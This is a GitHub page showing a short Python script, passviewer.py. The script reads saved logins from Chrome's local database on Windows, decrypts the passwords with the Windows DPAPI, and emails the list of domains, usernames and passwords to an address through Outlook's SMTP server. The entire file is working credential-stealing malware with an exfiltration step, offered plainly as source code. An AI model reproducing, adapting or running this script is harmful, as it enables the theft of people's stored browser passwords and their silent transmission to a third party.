-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpassviewer.py
47 lines (40 loc) · 1.4 KB
/
passviewer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import sqlite3
import smtplib
import win32crypt
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def getpath():
if os.name == "nt":
PathName = os.getenv('localappdata')+'\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
sys.exit(0)
else:
return PathName
def passextractor():
information=[]
connection = sqlite3.connect(getpath()+"Login Data")
with connection:
cursor=connection.cursor()
v=cursor.execute("""SELECT action_url,username_value, password_value FROM logins""")
value=v.fetchall()
for i in value:
information.append({"Domain":i[0],"Username":i[1],"Password":win32crypt.CryptUnprotectData(i[2],None,None,None,0)[1]})
return information
def mail(body):
msg = MIMEMultipart()
msg['From'] = "[email protected]"
msg['To'] = "[email protected]"
msg['Subject'] = "Information list from the Baronet"
msg.attach(MIMEText(body, 'plain'))
server = smtplib.SMTP('smtp-mail.outlook.com', 587)
server.starttls()
server.login("[email protected]", "password")
text = msg.as_string()
server.sendmail("[email protected]","[email protected]",text)
def main():
text_body=''
for password in passextractor():
text_body+='\n'+str(password)+'\n'
mail(text_body)
main()